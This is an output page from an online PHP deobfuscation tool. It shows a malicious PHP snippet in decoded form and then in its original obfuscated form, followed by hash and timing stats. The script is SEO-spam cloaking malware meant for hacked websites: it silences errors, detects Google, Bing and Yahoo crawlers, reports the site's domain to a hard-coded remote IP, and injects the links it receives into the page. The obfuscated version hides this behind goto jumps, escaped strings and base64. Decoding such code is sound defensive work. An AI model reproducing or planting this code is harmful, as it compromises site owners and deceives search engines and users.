Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto SBbjd; WusRW: $botbotbotbot = str_replace("\x20", "\55", $botbotbotbot); goto..
Decoded Output download
<?php
goto SBbjd; WusRW: $botbotbotbot = str_replace(" ", "-", $botbotbotbot); goto OIupP; OIupP: if (strpos($botbotbotbot, "oogle") or strpos($botbotbotbot, "ing") or strpos($botbotbotbot, "ahoo")) { $xxx = base64_decode("NQ=="); $xxx1 = base64_decode("NjE="); $xxx2 = base64_decode("NTg="); $xxx3 = base64_decode("MTU="); $xxx4 = base64_decode("aW5wdXQ="); $xxx0 = base64_decode("aHR0cDovLw=="); $xxx00 = $xxx . "." . $xxx1 . "." . $xxx2 . "." . $xxx3; $xxx11 = $xxx4 . "/?useragent=" . $botbotbotbot . "&domain=" . $_SERVER["HTTP_HOST"]; $url = $xxx0 . $xxx00 . "/" . $xxx11; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); } echo $result; if (strpos($result, "href=") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "href=") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr} ({$errno})<br />
"; } else { $req = "/" . $xxx11; $out = "GET {$req} HTTP/1.0
\xa"; $out .= "Host: {$url}\xd
"; $out .= "Connection: Close
\xa\xd
"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; echo $text; } } goto j7F0o; SBbjd: @error_reporting(0); goto NJ3Gi; NJ3Gi: $botbotbotbot = "..." . $_SERVER["HTTP_USER_AGENT"]; goto WusRW; j7F0o: ?>
Did this file decode correctly?
Original Code
<?php
goto SBbjd; WusRW: $botbotbotbot = str_replace("\x20", "\55", $botbotbotbot); goto OIupP; OIupP: if (strpos($botbotbotbot, "\x6f\157\147\x6c\x65") or strpos($botbotbotbot, "\x69\156\x67") or strpos($botbotbotbot, "\x61\150\x6f\x6f")) { $xxx = base64_decode("\116\x51\x3d\x3d"); $xxx1 = base64_decode("\116\152\x45\75"); $xxx2 = base64_decode("\x4e\124\x67\75"); $xxx3 = base64_decode("\115\x54\x55\x3d"); $xxx4 = base64_decode("\141\127\x35\167\x64\130\121\75"); $xxx0 = base64_decode("\x61\110\x52\60\x63\104\x6f\166\x4c\167\x3d\x3d"); $xxx00 = $xxx . "\56" . $xxx1 . "\x2e" . $xxx2 . "\56" . $xxx3; $xxx11 = $xxx4 . "\x2f\77\x75\163\x65\x72\141\x67\145\x6e\x74\x3d" . $botbotbotbot . "\x26\144\x6f\x6d\141\x69\156\x3d" . $_SERVER["\110\124\x54\120\x5f\110\x4f\123\124"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; if (function_exists("\143\165\162\x6c\137\151\156\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); } echo $result; if (strpos($result, "\x68\162\145\x66\75") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "\150\162\145\146\75") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\40\50{$errno}\51\74\x62\x72\x20\x2f\76\12"; } else { $req = "\x2f" . $xxx11; $out = "\107\x45\x54\x20{$req}\40\x48\x54\124\120\x2f\x31\56\x30\15\xa"; $out .= "\x48\157\x73\164\72\x20{$url}\xd\12"; $out .= "\103\157\156\x6e\x65\143\x74\x69\x6f\156\x3a\x20\x43\x6c\x6f\x73\145\15\xa\xd\12"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; echo $text; } } goto j7F0o; SBbjd: @error_reporting(0); goto NJ3Gi; NJ3Gi: $botbotbotbot = "\56\x2e\x2e" . $_SERVER["\x48\124\124\x50\137\125\x53\105\x52\137\101\107\105\x4e\x54"]; goto WusRW; j7F0o: ?>
Function Calls
None |
Stats
MD5 | 81dd8ce735db84bafef44d4391c9e55f |
Eval Count | 0 |
Decode Time | 37 ms |